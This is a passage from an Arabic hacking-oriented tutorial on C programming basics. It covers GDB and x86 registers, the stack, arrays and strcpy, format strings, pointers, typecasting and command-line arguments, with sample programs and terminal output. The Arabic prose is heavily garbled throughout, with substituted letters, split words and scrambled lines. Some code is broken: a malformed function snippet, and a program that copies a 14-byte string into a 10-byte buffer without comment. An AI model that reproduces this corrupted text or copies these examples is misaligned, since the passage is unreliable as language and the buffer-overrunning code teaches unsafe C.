يَم والُمتغَيرابه برنامجه، يُمك نكَُ الوقوف على أي سطر بَرمَجي تُريدُه ومُراقبة تأثيرهُ على الجهاز، كَما يُ 
.. تمكنكُ تغيير الق 

 !.ةالشيقوغيرذا من الأمور 

 Registersمع أحد البرامج وقحص ال  ”GDB Debugger“لله باستخدام ال بإذن ا في الباب الثالثسنقوم 

صَ  بشرح بعض  حالياً بينمَا سنكتفي  واستغلالها في اطتراق البرنامج!. ةلهُ واستخراج بعض الأططاء البرمجي ةالُمخَص 

 .Registersالأساسيات الُمتعلقة بال 

بَرنامَج تَم  قَتحه باستخ
ثال ل   ( )mainعند ال  Breakpointونقوم ب عَمَل  GDB debuggerام دسَنَقوم بَوضع م 

د وَضع ال  ذي أول ما يَت م ق رائته في البَرنامَج.. ولك ن  ( )mainلاحظ أن ال أثناء تَشغيل البرنامج.  Registersلنُشاذ 

 مَهلًا! 

 

ن ذذا ال   ..؟Breakpointماذا نستفيد م 

“it gives you the ability to halt a process that is being debugged” 

 

 ..؟process لل haltولم اذا نقوم ب عَمَل 

By halting a process, you are able to inspect variables, stack arguments, and memory locations. 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [33] 

reader@hacking:~/booksrc $ gdb -q ./a.out 

Using host libthread_db library 

"/lib/tls/i686/cmov/libthread_db.so.1". 

(gdb) break main 

 

Breakpoint 1 at 0x804837a 

(gdb) run 

Starting program: /home/reader/booksrc/a.out 

Breakpoint 1, 0x0804837a in main () 

(gdb)     info     registers 

 
eax         0xbffff894                   -1073743724 

ecx         0x48e0fe81                   1222704769 

edx         0x1 1 

ebx         0xb7fd6ff4                   -1208127500 

esp         0xbffff800                   0xbffff800 

ebp         0xbffff808                   0xbffff808 

esi         0xb8000ce0                   -1207956256 

edi         0x0 0 

eip         0x804837a                    0x804837a <main+6> 

eflags      0x286             [ PF SF IF ] 

cs          0x73        115 

ss          0x7b        123 

ds          0x7b        123 

es          0x7b        123 

fs          0x0 0 

gs          0x33 51 

 

ند ب داية عَمَل البَرنامَج، ذُم على الترتيب: Registersلاحظ أول أربعة   ظهروا ع 

(EAX, ECX, EDX, and EBX) 

 

مهُم ال  General Registersيُطلَق عَليهم  دّة، أهمها أنهم يُعتبروا CPUيَستَخد   "temporary variables" في أُمور ع 

مهُم ال   .Instructionsأثناء تنفيذه لل  CPUيَستَخد 
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نهُم: مايلي  توضيح مُُتَصَر ل كُلٍ م 

 

EAX 

ساب Accumulator registerيُطلَق عَليها أيضاً   ،ةية مثل الجمع والطرح و المقارنتقوم بإجراء بَعض العَمَليات الح 

سمَة، وأذَم ما يُمَيِّزذا أنها تُعَد مكان تخزين ال 
 .return valuesوأيضاً الضرب والق 

ر ذذا   ..؟  return valueالذل تتذك 

عَن طَريق قَحص مُحتَوى  ب عَين هاfunction من اكتمال أداء التأكد  نايُمكن ..لذاً ، ”Functions“لقد تحدثنا عنهُ في ققرة ال 

علية له ناكَما يُمك نُ  ،EAXال  يمة الف  قَة الق   .return value ذا المَعر 

 

ECX 

 .Looping operationsلأنها تُستَخدَم في ال  ،”Count register or Counter“نُطل ق عليها 

 

EDX 

أثناء  dataأي أنها تدعمها في حالة تخزين كمية أكبر من ال  EAX، وتُعَد  امتداد لل Data registerذذه يُطلَق عليها 

 لجراء الحسابات الأكثر تعقيداً!.

 

EBX 

م ل وَظيفة ب عَين ها، لَك  Base registerوأطيراً..  ساحة لضاقي، لم تُصَم  للتخزين. ةنها تُستَخدَم كَم 
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 :وذم Registersثم يظهر لنا نوعين جديدين من ال 

ESP and EBP 

Stack Pointer  و Base Pointer يتم استخدامهم لإدارة عملية ال function calls والتعامُل مع ال Stack. 

سنتعرض لهم بمزيد من التفصيل في 

 الباب الثالث.

 ؟ Stack ولك ن ماذذا ال

يقوم بالاحتفاظ  structureيبدو أنها 

الخاصة بال  ةبالبيانات التفصيلي

function calls،  وتعتمد مبدأ ال

(FILO)  ويعني“First In Last Out” 

 .”Pop“وعملية استخراج البيانات منها ب  ”Push“كما يظهر بالشكل، نُطل ق على عملية لرسال البيانات لليها ب

ح لك عملية  د كَيفَ يَت م لرسال البَيانات للى ال  function callسأوضِّ تقوم ال  وبوجه عام.. .Stackبالأسفل لتُشاذ 

Stack أمور رئيسية ذي:  ةبثلاث 

Stores information about how a function is called, the parameters it takes, and how it should 

return after it is finished executing. 

 

ثال ل عَمَلية لجراء  ن ال  ،function callذذا م   ةذذه ذي الصيغة الُمستَخدَم ،(ESP and EBP)سنَرى مَعاً دور كُلاً م 

 :C بلغة ال ( )my_pencils ةالُمسماfunction لل  callلعمل 

int my_pencils (color_one, color_two, color_three); 
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 :x86 Assemblyبال  Callوذكذا تَت م عملية ال 

push color_three 

push color_two 

push color_one 

call my_pencils 

 

أنه دائمًا  كما (!،Stackتم وضعه أولاً في أسفل ال  الثالث Argument، )لاحظ أن ال Stack frameوذذا ذو شكل ال 

 .(Top of Stack)للى ال  ESPما تُشير ال 

 

د ما سَيَحدُث في ال  functionوالآن سنقوم بإضاقة سطر للى ذذه ال   .Stackكي نُشاذ 

 
int my_pencils (color_one, color_two, color_3); 

{ 

  [10]char uni_pen_color_one 

 } 
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 (uni_pen_color_one)سيكون بِا الُمتغير ، stackفي ال  Return addressسنلُاحظ ظهور طانة أطرى قوق طانة ال 

نهُ يُشير دوماً للى ال ، لليها ةشارللا Stack pointerوسينتقل ال   ."Top of Stack"لأ 

 الآطرى: Registersنعود للى ال ل .نكتفي بِذا القدر حالياً س

 

ESI and EDI 
 

 (ESI) Source Index, holds the location of the input data stream. 

 (EDI) Destination Index, points to the location where the result of a data operation is 

stored. 

ر:  ول تَسهيل عَمَلية التَذكُّ

 ESI is used when we need to read data from something. 

 EDI is used when we want to write data in somewhere. 

   

EIP 

نكَُ تَخيُّلها  CPUال  الحالية التي يقوم Instructionلأنها تُشير للى ال  Instruction Pointer يُطلَق عَليها
رائت ها. يُمك  ب ق 

يستخدم لصبعه  processorلم جلة أو موضوعٍ ما، كذلك ال  هب شَخص يَضَع لصبعه على كُل كَل مَة يَقرَأذا أثناء قرائت

ية ال التي ستوليها اذتمامك أثناء عمل registersذذه من ال  تَن فيذهُ.  يَجريInstruction ليقرأ كل  EIPالخاص وذو ال 

Debugging . 

 

ل الأساسيات البَرمَجية..  من جديدذيا ل نعَود  نا نكون قد أنهينا ذذا الفاصل.. للى ذُ   ل نسَتكم 

 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [38] 

Arrays 

 

 .Memory تتموضع داطل ال ةمحدد data type ذات n لنها مجموعة من العناصر عددذا

“Is a list of n elements of a specific data type” ، َق عليهاأيضاً يُطل “Buffers”.  

 :character array ال لنا يوضحمثال  مايلي

 

#include <stdio.h> 

 

int main() 

{ 

  char str_a[20]; 

  str_a[0]    = 'H'; 

  str_a[1]    = 'e'; 

  str_a[2]    = 'l'; 

  str_a[3]    = 'l'; 

  str_a[4]    = 'o'; 

  str_a[5]    = ','; 

  str_a[6]    = ' '; 

  str_a[7]    = 'w'; 

  str_a[8]    = 'o'; 

  str_a[9]    = 'r'; 

  str_a[10]   = 'l'; 

  str_a[11]   = 'd'; 

  str_a[12]   = '!'; 

  str_a[13]   = '\n'; 

  str_a[14]   = 0; 

  printf (str_a); 

} 

 

 :GCC له باستخدام compile وذذا شكل البرنامج عند عمل
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reader@hacking:~/booksrc $ gcc -o char_array char_array.c 

reader@hacking:~/booksrc $ ./char_array 

Hello, world! 

reader@hacking:~/booksrc $ 

 

 جيد!.. 

لنا. لك ننا  bytes 20 حرف، أي أنه تم تخصيص 20مساحته تتسع ل  buffer.. لقد قُمنا بحجز ةلدينا ملاحظة بسيط

 functionsويُستخَدَم لإطبار ال  ”null byte“..يُطلق عليه ( 0)آطر حرف كان  أيضاً منهم!، ( bytes 12)ملأنا ققط 

وكأنه  bufferويتم لهمال باقي ال  null byte بأن تتوقف عن القراءة عند ظهور ذذا ال arrayالتي تتعامل مع ذذه ال 

 غير موجود. 

ند رَغبَتي بإدطال  ةالبائ سَ ولكن ذل يُفتَرَض بي  أن أكتب كُل حرف بِذه الطريقة   ؟stringع 

ى Libraryبالطبع لا!، سنستخدم  ثال: string.h تُسم  ب م  ه الأعمال، دَعنا نَضر   َذ  يَ سَتَقوم لَنا بِ 
 وذ 

صَت للتعامل مع ال  functionsسوف نكتُب الجمَُل التي نُريد، ثم نطلب من أحد ال   Arraysأو ال  stringsالتي طُصِّ

ب ذذه ال bufferتبناه ووضعه داطل ال بنسخ ما ك ، لأنهُ التي لا يستخدمها أحد حالياً  ةالرائع function، دعنا نُجَرِّ

ظ أنها تقوم بالنسخ ..  ( )strcpyلنها .. !ةبكل بساط Buffer overflowلهجوم ال  برنامجه ضرِّ عَ بذلك يُ  لاح 

 strcpy (destination, source)كالتالي: 

ى buffer للى ال !Hello, world لي بنسخ العبارةيقوم الكود التا  ثُم طباعته. str_a الُمسم 

#include <stdio.h> 

#include <string.h> 

int main() { 

      char str_a[20]; 

      strcpy (str_a, "Hello, world!\n"); 

      printf (str_a); 

} 
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Signed and Unsigned 
 

، بالنظام الثنائي  memoryقنحن نعني الأعداد التي يتم تخزينها في ال  numerical values عندما نتحدث عن ال 

نقوم بتعريف ذذا الُمتغير كالتالي:  ققط(. ةأي )موجب Unsignedأو سالبة(، أو  ةأي )موجب Signedوذي لما أن تكون 

“unsigned int”م بالم ساح ذا ال  ةالمخَُصصَ  ة، أيضاً يُمكننا التَحَكُّ أو بالنُقصان  ةسواءً بالزياد Numerical variableله 

 قَبله. short or long وذلك بإضاقة

ب ذذه ال  نريده. data typeوظيفتها تحديد مساحة أي .. ( )sizeofتسمى  C في لغة ال functionتوجد  لنجُرِّ

function ف على مساحة بعض المُتغيرات المهُم  :ةكي نتعر 

#include <stdio.h> 

int main() { 

       printf("The 'int' data type is\t\t %d bytes\n",   

              sizeof(int)); 

       printf("The 'unsigned int' data type is\t %d bytes\n",   

              sizeof(unsigned int)); 

       printf("The 'short int' data type is\t %d bytes\n",  

              sizeof(short int)); 

       printf("The 'long int' data type is\t %d bytes\n",   

              sizeof(long int)); 

       printf("The 'long long int' data type is %d bytes\n",  

              sizeof(long long int)); 

       printf("The 'float' data type is\t %d bytes\n",  

              sizeof(float)); 

       printf("The 'char' data type is\t\t %d bytes\n",  

              sizeof(char)); 

 } 

 

 :ةلتقوم بطباعة شيء ما على الشاش ( )printfلاحظ معي أننا استخدمنا 
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  لتقوم بعملية العرض كما يلي: d% وذي format specifier لقد استخدمنا ما يسمى بال

 .تي قمنا بإدطالها له كما ذو موضحال data typesسيقوم ذذا الكود بعرض مساحة ال 

reader@hacking:~/booksrc $ gcc datatype_sizes.c 

reader@hacking:~/booksrc $ ./a.out 

The 'int' data type is                      4 bytes 

The 'unsigned int' data type is             4 bytes 

The 'short int' data type is                2 bytes 

The 'long int' data type is                 4 bytes 

The 'long long int' data type is            8 bytes 

The 'float' data type is                    4 bytes 

The 'char' data type is                     1 bytes 

reader@hacking:~/booksrc $ 

 

 

 

Pointers 
 

ر أن  ال  بارة عَن ( EIP register)تَذَك  يَ ع  أثناء عَمَل البرنامج وذلك  current instructionيُشير للى ال  pointerذ 

ه ال  memory addressلاحتوائها على ال  َذ   .instructionالخاص بِ 

 ،functionsيَت م استخدامها بواسطة ال نَحتاج باستمرار ل عَمَليات النسّخ للبيانات التي  memoryأثناء التَعامُل مَعَ ال 

مَة تكرار نسخ البيانات داطل ال  ك  نَ الح  نستدعيها، لأنه يتطلب حجز  functionلكل  memoryوبالتالي قليس م 

قبل البدء ب عَمَلية النسّخ!. سَيَكون الأمر  memoryلليها( في ال  data)التي سيتم نسخ ال  destinationمساحة ال 

ال داطل  ةيلنتحرك به  بكُل حُرّ  pointerبدلاً من ذلك يُمكننا استخدام ال  ومستهلكاً لها!. memory مُهل كاً لل

memory عناوين الللى  ةعن طريق الإشار blocks. 

We use pointers to point to the address of the beginning of that block of memory. 

Pointers are 32 bits in size (4 bytes), and is defining by putting (*) to the variable name. 
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 دعنا نأطذ مثال:

#include <stdio.h> 

#include <string.h> 

 

int main() { 

    char str_a[20];      // A 20-element character array 

    char *pointer;       // A pointer, meant for a character array 

    char *pointer2;      //  another one 

    strcpy(str_a, "Hello, world!\n"); 

    pointer = str_a;     // Set the first pointer to the start of the array. 

    printf(pointer); 

    pointer2 = pointer + 2; // Set the second one 2 bytes further in. 

    printf(pointer2);   // Print it. 

    strcpy(pointer2, "y you guys!\n"); // Copy into that spot. 

    printf(pointer);  // Print again. 

} 

 

 

 

 نتائج ذذا الكود: مايلي

reader@hacking:~/booksrc $ gcc -o pointer pointer.c 

reader@hacking:~/booksrc $ ./pointer 

Hello, world! 

llo, world! 

Hey you guys! 

reader@hacking:~/booksrc $ 
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ل ”!Hello, world“قُمنا ب نَسخ  على أنه عد أن قُمنا ب تعَريفه قوق يُشير لليها بَ  pointerثُم  جَعَلنا ، str_a وَوَضَعناذا داط 

“char pointer points to char array”،  ثُم جَعلناpointer2  يُشير للى(pointer + 2bytes)  بمعنى أنه سيقفز مقدار

نسخ ثم قُمنا ب   .”!llo, world“سيظهر لنا  pointer2ل عرض ذذا ال  ( )printfوعند استخدام  ،Heحرقين ليتجاذل 

يَ  باره أُطرى ذ  ذذا يعني أنهُ سَيَحدُث تَعديل في ذذه ال  .pointer2، ووضعناذا حيثُ يُشير ال ”!y you guys“ع 

String  بأن سيتم استبدال“llo, world!”  بالعبارة“y you guys!”. 

 

 ؟.. pointer2ذذا ال  أين يُشيرلكن و

 2 ونَحنُ ذُنا تَركنا أول "،str_a"يُشير للى بداية  pointerتذكر أن  ."str_a"الثالث في ال  byteلنهُ يُشير للى بداية ال 

bytes  ا دونَ تَعديل، وذم بارة جَديدة!، ستبدأ من ال ”He“بِ   characterفي ذذه ال  الثالث byte، ثُم  نَسخنا ع 

array وأطيراً طلبنا من ال ،printf( )  ض تكون النتيجة باستدعاؤه، ق pointerال  التي يشير لليها ذذا arrayال عَر 

“Hey you guys!”. 
 

 مُلاحَظَة صغيرة:

ض أن  ال  ،memoryذاته يَقَع في مَكانٍ ما داطل ال  integerتَذَكر أن ال   memoryالخاص ب ه  داطل ال  addressولنفَر 

 عندما نستدعيه باستخدام pointer، ذذا ال intوجَعَلناه يُشير للى ذذ ال  pointerثُم  قُمنا بتعريف  0xbffff8aذو 

. يُمك ننُا طباعة ذذا 0xbffff8aبداطله، وذو  intالذي يقع ذذا ال  memoryسيعرض لنا عنوان ال  ( )printfالدالة 

 :أيضاً بطريقة أطرى! (the memory address of a variable)العنوان 

ندَ استخدام  .(&)يُرمَز لهُ بعلامة  ”the address-of operator“باستخدام  سَيُعطي لَنا  ( )printfداطل ال  int&قع 

0xbffff8a .!ًأيضا 
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 :مع أحد المتغيرات؟؟(&) عند استخدام  returnال  كيف سيكونوالآن.. 

. The address of that variable, instead of the variable itself 
 

 ”operator &“ وباستخدام ال Hex الخاص به بصيغة ال Address طباعة المثال لُمتغير نقوم ب مايلي

int A = 7; 

printf("variable A is at address: %08x\n", &A); 

 

 

نا ذذا ال   ..؟pointer قَب لَ ال "&"ولكن ماذا لن وَضَع 

ض ال ض ال  "،address-of" ب ما أنهُ يَقوم ب عَر  ن ال  ”Address-of that pointer“سَيَقوم ب عَر  لذي ا addressبَدَلاً م 

 !.pointerيُشير لليه ذذا ال 

 :في المثال التاليذيا لنقوم بتفكيك ذذا الإشكال 

 

 GDB Debugger باستخدام له debug مايلي كود تَم عَمَل

reader@hacking:~/booksrc $ gcc -g addressof.c 

reader@hacking:~/booksrc $ gdb -q ./a.out 

Using host libthread_db library 

"/lib/tls/i686/cmov/libthread_db.so.1". 

(gdb) list 

 

 

1 #include <stdio.h> 

2 

3   int main() { 

4   int int_var = 5; 

5   int *int_ptr; 

6 

7   int_ptr = &int_var;   // Put the address of int_var into int_ptr. 
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8 } 

(gdb) break 8 

Breakpoint 1 at 0x8048361: file addressof.c, line 8. 

(gdb) run 

Starting program: /home/reader/booksrc/a.out 

Breakpoint 1, main () at addressof.c:8 

8 } 

 print int_var (gdb) هنا نطلب عرض قيمة أو محتوى المتغير

$1 = 5 

 print &int_var (gdb) الذي يحمل هذا المتغير وليس قيمته block of memory عنوان الرض نا طلبنا ع  ه  

$2 = (int *) 0xbffff804   

تغير الذي ي شير إلي مكانوهو ) pointerال  اهذ ماي حويه  نا طلبنا عرض ه    print int_ptr (gdb) ه(الم 

$3 = (int *) 0xbffff804 

 print &int_ptr (gdb) !داخل الميموري في حد ذاته pointerهذا ال  مكانرض لبنا ع  نا ط  وه  

$4 = (int **) 0xbffff800 

(gdb) 

 

 ..Typecasting في ققرة ال pointers سنعاود الحديث عن ال

 

 

Format Strings 

 

، وذُناك استخدامات أطرى لُها، قَيُمكننا لدراج ال ةيتم استخدامها لطباعة مانُريده على الشاش ( )printfكما نعلم أن 

format strings يغ مُُتلف ل ها ل تقوم بإظاذر نَتائ ج الُمتغيرات ب ص   .ةبداط 

“This function can use format strings to print variables in many different format” 

 

 

 بعض أشكالها.مايلي 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [46] 

Parameter              Output Type 

%d                            Decimal 

%u                            Unsigned decimal 

%x                            Hexadecimal 

 

%s                            String 

%n                            Number of bytes written 

 

يَغ مُُتلفة حسب الحاجة. "data"تقوم ب عرض ال  format parametersأول ثلاثة في الجدول ذُم    ب ص 

ض  format stringsتوجد أنواع أطرى من ال  عَر 
في نفس  "address-of-data"وال  dataيُمك ننا استخدامها ل 

م ال س في الم ثال التالي الوقت. ل للى ال  حتى stringل ل طباعة ا (s%)نسَتخَد  باستخدام نقوم ثُم  ، null characterتَص 

يغَة   ."address-of that string in the memory"ل ط باعَة ال  (x%)الص 

 

في  integerلُمتغير نوعه  address-of ل عَرض (&)وذو  ”dereferencing operator“مع ال  (08x%) خدمنستأيضاً س

 آطر سطر في الكود.

 

 .؟ (08x%)ماذا تعني الصيغة ولكن 

 . hexadecimalبصيغة  bytes 8تعني اطبع لي 

 

نا صفر قَبل الرقم   ؟..(08x%) 8ولماذا وَضَع 

ك سأُ  ُ  :التالي المثال عقبطبر 
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#include <stdio.h> 

 

int main() { 

 

    char string[10]; 

    int A = -73; 

    unsigned int B = 31337; 

    strcpy(string, "sample"); 

 

// Example of printing with different format string 
    printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A); 

    printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B); 

    printf("[field width on B] 3: '%3u', 10: '%10u', '%08u'\n",  

           B, B, B); 

    printf("[string] %s Address %08x\n", string, string); 

 

// Example of unary address operator (dereferencing) and a %x format string 
    printf("variable A is at address: %08x\n", &A); 

} 

 

 

د نتائج ذذا الكود الرائع:ل  نُشاذ 

reader@hacking:~/booksrc $ gcc -o fmt_strings fmt_strings.c 

reader@hacking:~/booksrc $ ./fmt_strings 

[A] Dec: -73,  Hex: ffffffb7,  Unsigned: 4294967223 

[B] Dec: 31337,  Hex: 7a69,  Unsigned: 31337 

[field width on B] 3: ‘31337’,  10: ‘     31337’,   ‘00031337’ 

[string] sample Address   bffff870 

variable A is at address:   bffff86c 

reader@hacking:~/booksrc $ 

 

 

 .. !ماذذا الذي يحدث

ض الُمتغير  ..بثلاث صيغ A أول نتائج كانت تَخُص عَر 
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يَغ B ثُم  قُمنا في السطر الثاني ب عَرض الُمتغَير ر أن  ..أيضاً ب ثَلاثة ص  ض ق يَم سالب Unsignedوتَذك  ر   .!.ةلا تَع 

 

 ":field width on B"ثُم  نأتي للسطر الثالث وذو ال 

ندَما نكتُب رقم ب جان ب ال  د تخص u%ذُنا ع   3u% قمثلاً وضع يص حد أدنى من المساحة للمخرجات،قنحنُ نقص 

لذاً سنقوم .. bytes 5ولك ن في حالتنا ذُنا.. نحنُ نمتل ك  ..bytes 3لمخُرجات عن نقصد بِا.. يَج ب ألا تَق ل مساحة ا

نهُ  ..الشرط حدد لنا الحد الأدنى ققط! للمساحة.. لأن expandبعمل   لظهار الناتج بحد أدنى في مساحة ثُم  طَلَب نا م 

 .وَضَعَ لَنا خَس مَساقات ثُم  خََسة أرقام!أنه ب ’31337     ‘كما تلاحظ  spacesذُنا سيقوم ب ملئ باقي المساحة ب ، 10

 

يَم  paddingقنحن نُريد عَمَل  8قبل ال  zeroبما أننا وضعنا رقم  08x%في الطلب الثالث حددنا له  ..ققط لم َلئ  0ب ق 

يمة بال  bytes 8باقي ال  ض الق  ر   ’00031337‘ قتكون المخُرَجات كَما تَرى:!.  Hexبأصفار وذلك لأننا نَع 

ل ال وَضَعَ لَنا ثلاثة أصفار ثُم  ال لقد   .bytes 8خََسَة أرقام ل تَكتَم 

 

، ( )Scanf لنهانَوَد  أن تَتَعرّف عليها،  Standard Input/Output functionsأطرى تنتمي ل عائ لة ال  functionتوجد 

ب ه و من طصائصها أيضاً  امل الأطرى مع المخُرجات!.تتعللا أنها تتعامل مع الُمدطلات بينما  ةفي الوظيف ( )printfتُش 

وضاً عن ال  ”address of variables“ أنها تتعامل مع ال  الُمتغَيرذاتها، بمعنى أنك ستقوم ب تَعريف  variablesع 

int var  ند رغبتك بإدطاله للى لهُ كالتالي  ( )scanfمثلاً، ثُم  ع   ."var&"ستُدط 

 

ثال على   :ذلكذيا لنشُاذد م 
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#include <stdio.h> 

#include <string.h> 

 

int main() { 

 

    char message[10]; 

    int count, i; 

    strcpy(message, "Hello, world!"); 

    printf("Repeat how many times? "); 

    scanf("%d", &count); 

    for(i=0; i < count; i++) 

       printf("%3d  -  %s\n", i, message); 

} 

 

نا  ( )scanfكما ترى قإن  بل ستتعامل مع ال  "،count"ولكنها لن تتعامل مع الُمتغير نفسه  decimal valueستنتظر م 

“address of count in memory”.  

ذا قُمنا ب عَمَل  ق ثُم أدطلناه لليها باستخدام ال  countللمُتغير  declareوله    .”dereferencing operator“قَو 

 

 لتي سَنَقوم ب تَحديدذا بعد ظهوربناءً على عدد المرات ا stringكي يسمح لنا ب عَمَل تكرار لل  (i)قنا مُتغير آطر أيضاً عَر  

 ."Repeat how many times" الرسالة

 

 

 مايلي النتائج:

reader@hacking:~/booksrc $ gcc -o input input.c 

reader@hacking:~/booksrc $ ./input 

Repeat how many times? 3 

0 - Hello, world! 

1 - Hello, world! 

2 - Hello, world! 
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reader@hacking:~/booksrc $ ./input 

Repeat how many times? 12 

0 - Hello, world! 

1 - Hello, world! 

2 - Hello, world! 

3 - Hello, world! 

4 - Hello, world! 

5 - Hello, world! 

6 - Hello, world! 

7 - Hello, world! 

8 - Hello, world! 

9 - Hello, world! 

10 - Hello, world! 

11 - Hello, world! 

reader@hacking:~/booksrc $ 

 

ال  لمفهوم جديد ذوالآن سننتقل  ،format stringsأساليب استخدام ال  في أذذاننااستقرت قد  هأن ظنأبِذا 

Typecasting. 

 

 

Typecasting 

 

بارة عن طريقة مُؤقت الخاص بمُتغيٍر ما، بغض النظر عن نوعه أثناء تعريفنا لياه. يَفهَم ال  data typeلتغيير ال  ةذو ع 

compiler عامل مَع ذذا الُمتغير ب ناءً على الأنهُ سيت new type .ذَه العملية  الُمعطى لهُ.. ققط له 

 

 تكون صيغته كما يلي:

(typecast_data_type) var 
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 لنأطذ مثال:

#include <stdio.h> 

 

int main() { 

     int a, b; 

     float c, d; 

     a = 13; 

     b = 5; 

     c = a / b;   // Divide using integers. 

     d = (float) a / (float) b; // Divide integers typecast as floats. 
      

     printf("[integers]\t a = %d\t b = %d\n", a, b); 

      

     printf("[floats]\t c = %f\t d = %f\n", c, d); 

} 

 

 

 النتائج:

reader@hacking:~/booksrc $ gcc typecasting.c 

reader@hacking:~/booksrc $ ./a.out 

[integers] a = 13        b = 5 

[floats]   c = 2.000000  d = 2.600000 

reader@hacking:~/booksrc $ 

 

يكون ماذا سذل تعلم  mod لالو طلبنا والآن.. ، ققط 2سيكون  intكما ترى قإن ناتج القسمة في حالة استخدام ال 

 .؟الناتج 

دَ  pointersمعه.. قإنه يحتاج أن تكون ال  compilerأثناء تَعامُل ال  Pointersمُلاحظة تَخُص ال ذُناك   .. قمثلًا:ةمُحدَ 

“An integer pointer should point to integer data, while a character pointer should only point to 

character data”. 

 .byte 1 مساحة charال بينما يشغل ، bytes 4 احة قدرذامس integerال  يشغل ..ةوبصورة عام



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [52] 

Size of an int is 4 bytes on most architectures, and the size of a char is 1 byte. 

 

ثال آطَر!  :ل نأَطُذ م 

 ل، ذذا اpointerمُحتويات ال  ل عرض ( )printfال  داطل (p%)جديد.. وذو format parameterستُلاحظ استخدام 

(%p) يُشبه تماماً الصيغة (0x%08x)  ب مَعنى أننا نُريد عرض النتائج بالHexadecimal ،ل عَرض  ةوذي الصيغة الُمناسب

 .memory addressل ا

#include <stdio.h> 

int main() { 

 int i; 

 char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; 

 int int_array[5] = {1, 2, 3, 4, 5}; 

 char *char_pointer; 

 int *int_pointer; 

 char_pointer = char_array; 

 int_pointer = int_array; 

 for(i=0; i < 5; i++) {      // Iterate through the int array with the int_pointer. 

    printf("[integer pointer] points to %p, which contains the integer 

           %d\n", int_pointer, *int_pointer); 

    int_pointer = int_pointer + 1; 

} 

 

for(i=0; i < 5; i++) {       // Iterate through the char array with the char_pointer. 

    printf("[char pointer] points to %p, which contains the char  

           '%c'\n", char_pointer, *char_pointer); 

    char_pointer = char_pointer + 1; 

} 

} 

 

نَ ال  قنا  arraysكما ترى ققد قُمنا ب تَعريف نَوعَين م  ، ثُم  عَر 
كُل منهم يُشير للى  two pointersتحتويان على خََسة عَناصر 

 .(;char_pointer = char_array)الُمناظرة له  arrayال 
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 سيقوم بطباعة أمرين: ..5حتى الرقم  1يدور داطلها بدءاً من الرقم  pointerلنجعل ال  forل للى دالة ثم قمنا بالدطو

  الأول ذو ال"address of that number in memory"  حيثُ أن الpointer  سَيُشير للى عنوان الرقم

 كالتالي: pointerالمطلوب داطل الميموري! وذلك ب مُجرد استدعاء لل 

printf("[integer pointer] points to %p\n", int_pointer); 

 

 والثاني ذو الرقم ذاته الذي يشير لليه ذلك ال pointer ، وذلك ببساطة، بأن نستدعي الpointer  أيضاً لكن

ج لنا ما يحويه ذذا ال "وكأننا نقول له  )*(سنضع قبله   !."الذي تُشير لليه blockأَطر 

يَ الصيغة:  وذا ذ 

printf("[integer pointer] points to %d\n", *int_pointer); 

 

 

التالية داطل دالة  instructionثُم  ب عَرض مُحتواه، سَينتقل للى  addressب عَرض ال  pointerلاحظ أنه بعد أن يبدأ ال 

for :وذي 

int_pointer = int_pointer + 1; 

ل المصفوقالتالي دا addressأي أُنه سَيَنتق ل ل يشُير للى ال   .. 2، حيثُ يَتواجَد الرقم ةط 

 

ذا؟.. byteلذاً.. كَم   سَيَقوم ب قَفز 

اد  pointerوبعد زيادة قيمة ال  ل للى الرقم  ،++iسيزداد العَد  ر العَملية للى أن نَص  ج 5..نُكَرِّ رُج بعدذا طار  . ثُم  نَخ 

ر م charactersثُم  ننتقل للى مَصفوقة ال  الدالة!.  ا شرحناه.ونُكَرِّ
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 نتائج الكود:

reader@hacking:~/booksrc $ gcc pointer_types.c 

reader@hacking:~/booksrc $ ./a.out 

[integer pointer] points to 0xbffff7f0, which contains the integer 1 

[integer pointer] points to 0xbffff7f4, which contains the integer 2 

[integer pointer] points to 0xbffff7f8, which contains the integer 3 

[integer pointer] points to 0xbffff7fc, which contains the integer 4 

[integer pointer] points to 0xbffff800, which contains the integer 5 

[char pointer] points to 0xbffff810, which contains the char 'a' 

[char pointer] points to 0xbffff811, which contains the char 'b' 

[char pointer] points to 0xbffff812, which contains the char 'c' 

[char pointer] points to 0xbffff813, which contains the char 'd' 

[char pointer] points to 0xbffff814, which contains the char 'e' 

reader@hacking:~/booksrc $ 

 

وذلك بالمرور على   Cالى الحرف 8قمثلًا انتقلنا من العدد  ."bytes 4"يزداد بمقدار  integer pointerلاحظ أن ال 

وبعدذا يعود للى  ،f حيث آطر حرف مُتاح ذو Hexadecimalوذذا لأننا نتعامل بنظام ال  ،A, B, C ,9: الأرقام

 بمقدار character pointer وفي الُمقابل يزداد ال .0xbffff800للى  0xbffff7fcل في الانتقال من الصفر، كما الحا

"1 byte" .كما يظهر 

 

دَ في المثال السابق ص لك ماوُر   :ذذه الأسطر تُلخِّ

A char is 1 byte, an int is (typically) 4 bytes. When you increment a pointer, you increment by 

the size of the data being pointed to. So, when you increment a char*, you increment by 1 byte, 

and when you increment an int*, you increment 4 bytes. 
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Command Line Arguments 

 

في  Interactionاج للى أي حيث لا تحت GUIنستخدم ذذا النوع من المدطلات في حالة البرامج التي لا تحتوي على 

التقليدية،  ( )scanfعبر دالة ال  inputsقهي لا تستقبل ال  ،بعد أن يبدأ البرنامج بالعمل usersالغالب من ق بَل ال 

حيثُ يُعتبر قوم بكتابتها بعد لسم البرنامج، التي تود أن يستقبلها البرنامج بأن ت argumentsولكن يمكنك لضاقة ال 

لُهُ أنت.ثم ي argument [0]لسم البرنامج  نستخدم ذذا النوع من المدطلات بشكل ملحوظ في بيئة  أتي بعدذا ما تُدط 

 .Linux Terminalو  DOSال 

 عند بداية عمل البرنامج،  EIPيُشير لليها ال  Functionلأنها أول  ( )mainفي ال  argumentsسنقوم بتعريف ال 

اديُعتبَر  integerالمهم.. سنقوم بإضاقة   ..الُمراد لدطالها Argumentsل تَحديد عدد ال   كعَد 

 ذاتها. argumentsستكون ال  arrayذذه ال "، pointer to an array of strings"ثُم 

 ذذه ذي صيغتها:

int main(int argc, char *argv[]) 

 

 ل نعُطي مثال:

#include <stdio.h> 

 

int main(int arg_count, char *arg_list[]) { 

 

